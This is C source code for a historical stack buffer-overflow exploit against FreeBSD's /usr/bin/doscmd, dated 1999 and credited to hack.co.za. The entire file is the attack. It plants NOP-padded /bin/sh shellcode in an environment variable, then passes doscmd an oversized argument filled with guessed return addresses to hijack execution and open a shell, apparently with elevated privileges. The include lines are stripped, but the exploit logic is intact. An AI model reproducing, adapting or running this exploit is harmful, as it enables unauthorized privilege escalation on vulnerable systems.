/* * * (c) 1999 babcia padlina ltd. * FreeBSD /usr/bin/doscmd exploit. * */ #include #include #include #include #define NOP 0x90 #define BUFSIZE 1000 #define ADDRS 1200 long getesp(void) { __asm__("movl %esp, %eax\n"); } int main(argc, argv) int argc; char **argv; { char *execshell = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; char *buf, *p; int noplen, i, ofs, align; long ret, *ap; FILE *fp; if(!(buf = (char *)malloc(BUFSIZE+1))) { perror("malloc()"); return -1; } if (argc < 3) { fprintf(stderr, "usage: %s ofs align\n", argv[0]); exit(0); } ofs = atoi(argv[1]); align = atoi(argv[2]); noplen = BUFSIZE - strlen(execshell); ret = getesp() + ofs; memset(buf, NOP, noplen); buf[noplen+1] = '\0'; strcat(buf, execshell); setenv("EGG", buf, 1); free(buf); if(!(buf = (char *)malloc(ADDRS+align+1))) { perror("malloc()"); return -1; } memset(buf, 'a', align); p = &buf[align]; ap = (unsigned long *)p; for(i = 0; i < ADDRS / 4; i++) *ap++ = ret; p = (char *)ap; *p = '\0'; fprintf(stderr, "ret: 0x%x\n", ret); execl("/usr/bin/doscmd", "doscmd", buf, 0); return 0; } /* www.hack.co.za [2000]*/